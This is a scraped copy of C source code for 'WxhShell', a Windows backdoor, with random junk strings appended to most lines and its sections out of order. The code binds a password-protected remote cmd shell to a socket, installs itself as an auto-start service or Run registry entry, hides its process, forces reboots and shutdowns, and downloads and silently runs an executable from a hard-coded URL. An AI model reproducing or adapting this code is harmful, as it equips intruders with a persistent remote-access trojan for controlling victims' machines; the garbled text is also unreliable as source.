    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;k0Jl0[}  
    if(Boot(SHUTDOWN)) VZ IY=Q>g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =x?WZMO  
    else { ;d>n2  
    closesocket(wsh); G8'{nPA~  
    ExitThread(0); K:9AP{+  
    } IkmEctAU  
    break; k|>yFc  
    } q'trd};xR  
  // 获取shell L!Tvz(_7f6  
  case 's': { 8wO4;  
    CmdShell(wsh); vr"Pr4z4i  
    closesocket(wsh); k:7Gb7\  
    ExitThread(0); a:GM|X  
    break; B T}l"  
  } a Z)1SX`D  
  // 退出 0N)DHD?U  
  case 'x': { T_s09Wl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ ^pc"?Rc  
    CloseIt(wsh); dYOY8r/  
    break; [QMN0#(h  
    } @x*xgf  
  // 离开 AMB{Fssz  
  case 'q': { C(h<s e?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i@D4bd9lR  
    closesocket(wsh); #?\(l%  
    WSACleanup(); 7MZH'nO  
    exit(1); |_g7k2oLY  
    break; EF$ASNh"  
        } Q3hSWXq'  
  } ]5@n`;&#.  
  } 5|jY  
a0k;way  
  // 提示信息 ]iW:YNvXA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QoUdTIIL  
} ^B%ki  
  } 'y>Y*/  
y:Gn58\o  
  return; ?Hdu=+ZV  
} MBjAe!,-  
w*~s&7c2B  
// shell模块句柄 `#<UsU,~Lu  
int CmdShell(SOCKET sock) }&L%c>  
{ 9 iJ$M!  
STARTUPINFO si; Nw9:Gi  
ZeroMemory(&si,sizeof(si)); UpD4'!<buV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %t6-wWM97  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >}+R+''nR  
PROCESS_INFORMATION ProcessInfo; :81d~f7  
char cmdline[]="cmd"; {A< 961  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h|PC?@jp  
  return 0; cR!M{U.q  
} Hn(Eut7%  
G 0Z5h  
// 自身启动模式 Vg,nNa3  
int StartFromService(void) \K"7U  
{ }:0ru_F)(4  
typedef struct QL7.QG  
{ qs\Cwn!  
  DWORD ExitStatus; (f_YgQEL  
  DWORD PebBaseAddress; | @ ut/  
  DWORD AffinityMask; [aA@V0l  
  DWORD BasePriority; fwA8=o SZd  
  ULONG UniqueProcessId; L58#ri=  
  ULONG InheritedFromUniqueProcessId; lw~ V  
}   PROCESS_BASIC_INFORMATION; Xm|~1 k_3  
du ~V=%9  
PROCNTQSIP NtQueryInformationProcess; h*40jZ  
v,*C>u\3s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g5pFr=NV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :JX2GRL4  
.vy@uT,  
  HANDLE             hProcess; 8!.V`|@lt  
  PROCESS_BASIC_INFORMATION pbi; |By[ev"Kh%  
%,~\,+NP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WvArppANo  
  if(NULL == hInst ) return 0; 'ZI8nMY  
}ssja,;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }6.@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m44a HBwId  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^$% Sg//  
(y6}xOa(  
  if (!NtQueryInformationProcess) return 0; :Cx|(+T  
:2M&C+f[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'Nt)7U>oC9  
  if(!hProcess) return 0; *U%3 [6hm  
H#V&5|K%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >EFWevT{  
p[xGL } +\  
  CloseHandle(hProcess); |kvH`&s  
N>*+Wg$Ne  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e Csk\f`  
if(hProcess==NULL) return 0; AIn/v`JeX  
573,b7Yf  
HMODULE hMod; Bf #cBI  
char procName[255]; R3a}YwJFXF  
unsigned long cbNeeded; ^Y+C!I  
@q>Hl`a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R{bG`C8.d  
GrJLQO0$N  
  CloseHandle(hProcess); &V~l(1  
j-R*!i  
if(strstr(procName,"services")) return 1; // 以服务启动 y2jw3R  
 3TCRCz  
  return 0; // 注册表启动 U'9z.2"}9  
} q!'p   
ihwJBN>(  
// 主模块 of_y<dd[G  
int StartWxhshell(LPSTR lpCmdLine) ej}S{/<*n  
{ N2'aC} I  
  SOCKET wsl; %>=6v} f,+  
BOOL val=TRUE; P[G>uA>Z1  
  int port=0; #>bj6<  
  struct sockaddr_in door; :EQ{7Op`  
7_ayn#;y  
  if(wscfg.ws_autoins) Install(); p)iEwl}!j  
MomHSvQ\  
port=atoi(lpCmdLine); 7pY :.iVO  
hPNMp@Nm6  
if(port<=0) port=wscfg.ws_port; #I453  
w5%i  
  WSADATA data; =HsE:@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q*%}w_D6f  
J@$~q}iG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !*"fWahv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T#3@r0M  
  door.sin_family = AF_INET; xR3$sA2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7LrmI~P  
  door.sin_port = htons(port); r <5}& B`  
1VM2CgRa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9!uiQ  
closesocket(wsl); kq5X<'MM9N  
return 1; P* `*^r3  
} 1,;X4/*  
p+V#86(3  
  if(listen(wsl,2) == INVALID_SOCKET) { J,CwC)  
closesocket(wsl); \|{/.R  
return 1; S$Zi{bU`G  
} \*e\MOp6  
  Wxhshell(wsl); BXYH&2]Q  
  WSACleanup(); Wj(#!\ 7F  
9|}Pf_5]%[  
return 0; }/ vW"&h-  
Yjjh}R#  
} <R@,wzK  
.nrllVG%`  
// 以NT服务方式启动 3)W zX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h5@G eYda  
{ gd*Gn"  
DWORD   status = 0; b@;Wh-{d  
  DWORD   specificError = 0xfffffff; [TFJb+N&  
X^ Is-[OvE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V9v20iX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XhM!pSl\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pzz* >Y  
  serviceStatus.dwWin32ExitCode     = 0; [|KvlOvP  
  serviceStatus.dwServiceSpecificExitCode = 0; P$z_A8}  
  serviceStatus.dwCheckPoint       = 0; 1Q>nS[  
  serviceStatus.dwWaitHint       = 0; |sReHt2)d  
;cI*"-I:F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H TOr  
  if (hServiceStatusHandle==0) return; &2`p#riAS  
(\{k-2t*^  
status = GetLastError(); /qX?ca1_4^  
  if (status!=NO_ERROR) 'V]&X.=zC  
{ rR#Ditn^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U;MXiE3D  
    serviceStatus.dwCheckPoint       = 0; er UYR"  
    serviceStatus.dwWaitHint       = 0; |R0f--;  
    serviceStatus.dwWin32ExitCode     = status; lQ;BI~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q- |Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s;Gd`-S>d  
    return; PVo7Sy!'H  
  } 3O/#^~\'hW  
l&qnqmW<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FzJ7 OE |  
  serviceStatus.dwCheckPoint       = 0; fu^W# "{  
  serviceStatus.dwWaitHint       = 0; BHUI1y5t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A#=TR_@:  
} <:}nd:l1  
XnQR(r)pR2  
// 处理NT服务事件,比如:启动、停止 w*ans}P7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qcj {rG18  
{ -d\sKc  
switch(fdwControl) "r-P[EKpL  
{ :u14_^  
case SERVICE_CONTROL_STOP: #s\@fp7A  
  serviceStatus.dwWin32ExitCode = 0; gYB!KM *v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3#>W\_FY*D  
  serviceStatus.dwCheckPoint   = 0; -r={P _E6  
  serviceStatus.dwWaitHint     = 0; X/,) KTo7  
  { }4A] x`3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qSc-V`*  
  } vQljxRtW  
  return; 7 $e6H|j@  
case SERVICE_CONTROL_PAUSE: B{nwQC b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >qmCjY1  
  break; Qn!mS[l  
case SERVICE_CONTROL_CONTINUE: l;lrf3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cq4~(PXT g  
  break; W,<q!<z\t  
case SERVICE_CONTROL_INTERROGATE: !!y]pMjJa@  
  break; t}YcB`q)  
}; ?*fY$93O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vk92j?  
} b6N[t _,  
p{g4`o  
// 标准应用程序主函数 ??,[-Oi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *q=T1JY  
{ 8=`L#FkRp  
q>$MqKWM  
// 获取操作系统版本 51jgx,-|$  
OsIsNt=GetOsVer(); KewW8H~tb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1xB}Ed*k  
[eX]x  
  // 从命令行安装 (~GQncqa  
  if(strpbrk(lpCmdLine,"iI")) Install(); IfK~~XYG  
=-h^j  
  // 下载执行文件 cS;3,#$  
if(wscfg.ws_downexe) { Ie.*x'b?y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AW]\n;f  
  WinExec(wscfg.ws_filenam,SW_HIDE); D.K""*ula  
} \MP~}t}c  
W [ l  
if(!OsIsNt) { .XJ'2yKof  
// 如果时win9x,隐藏进程并且设置为注册表启动 7n7Xyb  
HideProc(); XX8HSw!w  
StartWxhshell(lpCmdLine); 3uLG$`N   
} q+?<cjVg  
else VdlT+'HF  
  if(StartFromService()) eZ$7VWG#  
  // 以服务方式启动 &93{>caf+  
  StartServiceCtrlDispatcher(DispatchTable); o,6t: ?Z  
else 0k]ApW  
  // 普通方式启动 ?jmP] MM  
  StartWxhshell(lpCmdLine); DrK]U}3fh"  
0!hr9Y]Lx  
return 0; v(1 [n]y  
} *f[ 5rr4  
ABWn49c.  
@Zt~b'n  
>,e^}K}C  
=========================================== }[AaI #  
u<-)C)z  
n{tc{LII/  
0#*6:{/^  
OQ-) 4Uk}  
8q^}AT<C  
" dli(ckr  
(` *BZ_  
#include <stdio.h> 1'~Xn 4 f  
#include <string.h> 7v5]% %E/  
#include <windows.h> 3l{V:x!9@  
#include <winsock2.h> ${f<}  
#include <winsvc.h> d^C@5Pd <  
#include <urlmon.h> i,6OMB $  
Ykxk`SJ  
#pragma comment (lib, "Ws2_32.lib") cQ8[XNa  
#pragma comment (lib, "urlmon.lib") ~gDYb#p  
F.[%0b E  
#define MAX_USER   100 // 最大客户端连接数 lL D#|T3  
#define BUF_SOCK   200 // sock buffer \V? .^/  
#define KEY_BUFF   255 // 输入 buffer 0<,{poMM  
mTZ/C#ir(  
#define REBOOT     0   // 重启 6TP /0o)  
#define SHUTDOWN   1   // 关机 O$*lPA[  
h^Wb<O`S  
#define DEF_PORT   5000 // 监听端口 & l>nzJ5?  
#])"1fk  
#define REG_LEN     16   // 注册表键长度 z`{sD]  
#define SVC_LEN     80   // NT服务名长度 `3;EJDEdbi  
l6  G6H$  
// 从dll定义API  LA3m,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F>fCp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w!F>fcm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eh86-tQI~(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CMj =4e  
,'8%'xit  
// wxhshell配置信息 roADC?@r  
struct WSCFG { %U\,IO`g  
  int ws_port;         // 监听端口 lw@Yn>eza  
  char ws_passstr[REG_LEN]; // 口令 3&hR#;,"X  
  int ws_autoins;       // 安装标记, 1=yes 0=no zp}7p~#k^  
  char ws_regname[REG_LEN]; // 注册表键名 p<5]QV7st  
  char ws_svcname[REG_LEN]; // 服务名 Q((&Q?Vi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %*D=ni#(sT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qit&cnO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `16'qc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1j?P$%p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7^gO>2~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jPWONz(#  
&*`dRIQ]  
}; GwX)~.i  
C QkY6  
// default Wxhshell configuration V(';2[)  
struct WSCFG wscfg={DEF_PORT, m Q2i$ 0u  
    "xuhuanlingzhe", <V?2;Gy  
    1, GcV/_Y  
    "Wxhshell", !0;AFv`\  
    "Wxhshell", Y{} ub]i  
            "WxhShell Service", fn}E1w  
    "Wrsky Windows CmdShell Service", R{g= N%O  
    "Please Input Your Password: ", v;,W ^#`  
  1, lc,k-}n  
  "http://www.wrsky.com/wxhshell.exe", m?e/MQr  
  "Wxhshell.exe" ~74Sq'j9Wt  
    }; 25X|N=}   
7-744wV}Z  
// 消息定义模块 (\6E.Z#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5CI {&E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h FU8iB`Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }-3 VK%  
char *msg_ws_ext="\n\rExit."; X=QX9Ux?^  
char *msg_ws_end="\n\rQuit."; #V k?  
char *msg_ws_boot="\n\rReboot..."; "laf:Ty1  
char *msg_ws_poff="\n\rShutdown..."; *AH `ob}  
char *msg_ws_down="\n\rSave to "; 4|x _C-@  
t&?jJ7 (&8  
char *msg_ws_err="\n\rErr!"; "f91YX_)  
char *msg_ws_ok="\n\rOK!"; 2S8;=x}/  
<cTX;&0=  
char ExeFile[MAX_PATH]; 9D3W_eIc  
int nUser = 0; wd`p>  
HANDLE handles[MAX_USER]; AiHU*dp6  
int OsIsNt; %]P{)*y-?  
5226 &N  
SERVICE_STATUS       serviceStatus; pwo$qs(p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "6U0 !.ro@  
d"|_NG`vr  
// 函数声明 PQaTS*0SXJ  
int Install(void); dz^HN`AlzC  
int Uninstall(void); }qWnn>h9xv  
int DownloadFile(char *sURL, SOCKET wsh); KI9Pw]]{-  
int Boot(int flag); 9PB%v.t5 y  
void HideProc(void); 9vRLM*9|  
int GetOsVer(void); t0 e6iof^o  
int Wxhshell(SOCKET wsl);  VY6G{f  
void TalkWithClient(void *cs); [UwQi!^-O  
int CmdShell(SOCKET sock); u62H+'k}F  
int StartFromService(void); -Q? i16pM  
int StartWxhshell(LPSTR lpCmdLine); [n"eD4)K|  
Xt$qjtVM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6wp1jN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?mNB:-Q  
3zsp 6kV  
// 数据结构和表定义 JD *HG]  
SERVICE_TABLE_ENTRY DispatchTable[] = OY1bFIE  
{ @Ou H=<YN  
{wscfg.ws_svcname, NTServiceMain}, Cu@q*:'  
{NULL, NULL} , Q0Y} )  
}; ?`+VWa[,e  
\GEz.Vb  
// 自我安装 :!Ci#[g  
int Install(void) OU{c| O  
{ uH\EV`@'  
  char svExeFile[MAX_PATH]; `+w= p7ET  
  HKEY key; lWRl  
  strcpy(svExeFile,ExeFile); :Wbp|:N0  
k| OM?\  
// 如果是win9x系统,修改注册表设为自启动 SPqJ [ F  
if(!OsIsNt) { uO4 LD}A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3eY>LWx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'xS@cF o(  
  RegCloseKey(key); |X@s {?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vA6`};|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Z*rY?v  
  RegCloseKey(key); eg;r38   
  return 0; z}-CU GS  
    } gdIk%m4  
  } /Xi21W/  
} 3P!OP{`  
else { Bw;isMx7  
l~$)>?ZD  
// 如果是NT以上系统,安装为系统服务 ;bwBd:Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nc1~5eo  
if (schSCManager!=0) <VZ43I  
{ 0[UI'2  
  SC_HANDLE schService = CreateService g;Ugr8  
  ( > %KEMlKZ  
  schSCManager, J* !_O#  
  wscfg.ws_svcname, FWu:5fBZY  
  wscfg.ws_svcdisp, e (]]  
  SERVICE_ALL_ACCESS, A{> w5T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D2VYw<tEA  
  SERVICE_AUTO_START, ;BuMzG:tmZ  
  SERVICE_ERROR_NORMAL, &en2t=a  
  svExeFile, |kZ!-?9Z  
  NULL,  8s22VL  
  NULL, g7323m1=  
  NULL, DOu^   
  NULL, igL5nE=n  
  NULL 9Qszr=C0  
  ); |ufT)+:  
  if (schService!=0) >V8!OaY5n  
  { -aBhN~  
  CloseServiceHandle(schService); mh4 VQ9  
  CloseServiceHandle(schSCManager);  dF `7]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,q%X`F rc  
  strcat(svExeFile,wscfg.ws_svcname); 0WzoI2Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8b0j rt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?5't1219  
  RegCloseKey(key); 50 w$PW  
  return 0; 8^EWD3N`  
    } i'<hT q4  
  } qJF'KHyU{l  
  CloseServiceHandle(schSCManager); wdj?T`4  
} <e#v9=}DI  
} Q@}SR%p  
)xf(4  
return 1; %UdE2D'bC  
} x#E M)Thq  
Q"s6HZ"YI  
// 自我卸载 Xc+YoA0Ez  
int Uninstall(void) xJ<RQCW$  
{ ^/Hf$tYI!`  
  HKEY key; hpQ #`rhn  
t>quY$}4  
if(!OsIsNt) { .oM- A\!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tp@Yn  
  RegDeleteValue(key,wscfg.ws_regname); Q1Qw45$  
  RegCloseKey(key); (,sz.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V}TPt6C2  
  RegDeleteValue(key,wscfg.ws_regname); Ur 1k3  
  RegCloseKey(key); ^jL44? W}l  
  return 0; _3W .:  
  } EwcFxLa!F  
} _S[@?]=`b  
} FS8l}t  
else { <V U-ja*(J  
\X6q A-Ht  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uxdB}H,  
if (schSCManager!=0) E`LaO  
{ 8oU R/___  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); De 3;}]wC  
  if (schService!=0) c|:EMYS  
  { aNM*=y`  
  if(DeleteService(schService)!=0) { Q0`@=5?-  
  CloseServiceHandle(schService); }+lK'6  
  CloseServiceHandle(schSCManager); zEQQ4)mA  
  return 0; xBc$qjV  
  } 2.JrLBhN  
  CloseServiceHandle(schService); O<wH+k[  
  } O.#R r/+)  
  CloseServiceHandle(schSCManager); KUPQ6v }  
} |H=5Am  
} n[y=DdiKGS  
?lqqu#;8  
return 1; uFmpc7  
} b i-Am/9  
k~;~i)Eg  
// 从指定url下载文件 1xtS$^APcd  
int DownloadFile(char *sURL, SOCKET wsh) $Vp&7OC]  
{ ~BTm6*'h  
  HRESULT hr; sAO/yG  
char seps[]= "/"; )( YJ6l  
char *token; Z  OAg7  
char *file; fWJOP sp*/  
char myURL[MAX_PATH]; g<~ODMCO?W  
char myFILE[MAX_PATH]; orWF>o=1  
5Th\wTh04  
strcpy(myURL,sURL); aiX4;'$x!  
  token=strtok(myURL,seps); f dJg7r*  
  while(token!=NULL) LDw.2E  
  { zZ9Ei-Q  
    file=token; 2N-p97"g  
  token=strtok(NULL,seps); k^JgCC+  
  } G@e;ms1  
r.@UH-2c  
GetCurrentDirectory(MAX_PATH,myFILE); q~18JB4WPJ  
strcat(myFILE, "\\"); s,C>l_4-  
strcat(myFILE, file); s(5(zcBK  
  send(wsh,myFILE,strlen(myFILE),0); 6t <[-  
send(wsh,"...",3,0); X,M!Tp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ D/Lo$K"  
  if(hr==S_OK) $0{ h Uex  
return 0; $h8?7:z;um  
else Y$^vA[]c>  
return 1; Grw[h  
_;BNWH  
} ^eoW+OxH  
R/B/|x  
// 系统电源模块 }#g &l*P  
int Boot(int flag) # mM9^LJ   
{ 1A(f_ 0,.Q  
  HANDLE hToken; }>f%8O}  
  TOKEN_PRIVILEGES tkp; (.z0.0W  
wko9tdC=U  
  if(OsIsNt) { B}y#AVSA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _MQh<,Z8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9l[C&0w#\  
    tkp.PrivilegeCount = 1; d]_].D$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tT A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !oRN,m[7)p  
if(flag==REBOOT) { Pr1OQbg]8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {R7RBX  
  return 0; M_?B*QZJI  
} pxbuZ9w2Q  
else { I8W9Kzf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #RdcSrw)W!  
  return 0; <|3F('Q"  
} , P1m#  
  } >_\]c-~<  
  else { DDT]A<WUV  
if(flag==REBOOT) { lS2 `#l>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Lw Z(M-hI  
  return 0; %0u5d$bq  
} bLg gh]Fh  
else { 8;UkZN"hy5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <X5V]f  
  return 0; _s=<Y^l%x  
} /K,@{__JP  
} q`|E9  
su60j^e*  
return 1; 1?TgI0HS  
} ,F'y:px  
]RVme^=  
// win9x进程隐藏模块 *= %`f=  
void HideProc(void) C-Y7n5  
{ L'a s^Od  
je:J`4k$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |<8g 2A{X  
  if ( hKernel != NULL ) 2fm6G).m  
  { ZTGsZ}{5   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tQMz1$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A,#z_2~  
    FreeLibrary(hKernel); vMXn#eR  
  } 2{hG",JL  
F9IPA%  
return; nwDW<J{f|U  
}  poZ&S  
4l{La}Aj  
// 获取操作系统版本 A~a7/N6s;  
int GetOsVer(void) =lh&oPc1  
{ > LU !Z  
  OSVERSIONINFO winfo; &4p~i Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^'vWv C  
  GetVersionEx(&winfo); &9n=!S'Md  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |L)qH"Eo  
  return 1; lzz68cT  
  else XOZ@ek)LY  
  return 0; U<yKC8  
} yAJrdY"  
- :x6X$=  
// 客户端句柄模块 ehX4[j6  
int Wxhshell(SOCKET wsl) 7ws[Rp8  
{ m?)F@4]  
  SOCKET wsh; jdD`C`w|,  
  struct sockaddr_in client; g+k yvI7o  
  DWORD myID; I"jub kI=Z  
q[.,i{2R}  
  while(nUser<MAX_USER) 38RyUHL=  
{ e0o)Jo.P  
  int nSize=sizeof(client); @%As>X<3t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L 3C'q  
  if(wsh==INVALID_SOCKET) return 1; n6GB2<y  
s9?H#^Y5u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sTYA  
if(handles[nUser]==0) OxVe}Fym  
  closesocket(wsh); 14Jkr)N  
else SDW!9jm>R  
  nUser++; DIc -"5~  
  } #Bas+8 @,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4{=^J2z  
Mg {=(No  
  return 0; 4"%LgV`  
} Ivc/g,  
RMxFo\TK;  
// 关闭 socket R-Z)0S'ZR  
void CloseIt(SOCKET wsh) +zsB~Vz  
{ $[*<e~?  
closesocket(wsh); a"X9cU[  
nUser--; 6t`cY  
ExitThread(0); .|3&lb6  
} 'W J3q|o/  
WQYw@M~4Q!  
// 客户端请求句柄 A>J,Bi  
void TalkWithClient(void *cs) V5HK6-T  
{  i(n BXV{  
b*"%E, ?  
  SOCKET wsh=(SOCKET)cs; r1 [Jo|4vo  
  char pwd[SVC_LEN]; ~myY-nEY  
  char cmd[KEY_BUFF]; GA"zO,  
char chr[1]; </jTWc'}  
int i,j; 45tQ$jr`1  
96S#Q*6+R  
  while (nUser < MAX_USER) { X< p KAO\  
<Is~DjIav  
if(wscfg.ws_passstr) { - 1tiy.^$F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L+2<J,   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ex$i8fO(  
  //ZeroMemory(pwd,KEY_BUFF); o) ,1R:  
      i=0; c R6:AGr  
  while(i<SVC_LEN) { 1gDsL  
AqucP@  
  // 设置超时 [$%O-_x  
  fd_set FdRead; ,ftKRq  
  struct timeval TimeOut; #hF(`oX}4K  
  FD_ZERO(&FdRead); oD&axNk  
  FD_SET(wsh,&FdRead);  <]h?_)  
  TimeOut.tv_sec=8; &O.lIj#F R  
  TimeOut.tv_usec=0; =2.q=a|'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [,/~*L;7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^s?=$&8f![  
)TzQ8YpO}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6~c:FsZ)  
  pwd=chr[0]; :[.**,0R  
  if(chr[0]==0xd || chr[0]==0xa) { 'yR)z\)  
  pwd=0; BDz 7$k]  
  break; x3Ze\N8w  
  } \d}>@@U&  
  i++; fu $<*Sa2  
    } <#F@OU  
TnQ"c)ta  
  // 如果是非法用户,关闭 socket 0 pPSg9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S<UWv@`U"  
} `(o:;<&3  
oA]rwa UX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g=]VQ;{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'CA{>\F$F+  
6-J%Z%yT #  
while(1) { {Etvu  
cZlDdr%  
  ZeroMemory(cmd,KEY_BUFF); )uu1AbT +e  
Bw25+l Px  
      // 自动支持客户端 telnet标准   +Fa!<txn  
  j=0; `R6dnbH  
  while(j<KEY_BUFF) { z~(3S8$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dbl+izF3  
  cmd[j]=chr[0]; 2rPmu  
  if(chr[0]==0xa || chr[0]==0xd) { chA7R'+LA  
  cmd[j]=0;  jH>`:  
  break; 2xK v;  
  } y,s`[=CT  
  j++; i8->3uB  
    } b|oT!s  
g0ks[ }f-  
  // 下载文件 RG_.0'5=hc  
  if(strstr(cmd,"http://")) { F<TIZ^gFP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ohna1a^  
  if(DownloadFile(cmd,wsh)) R9\ )a2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5XoM)  
  else %%FzBbWAO  
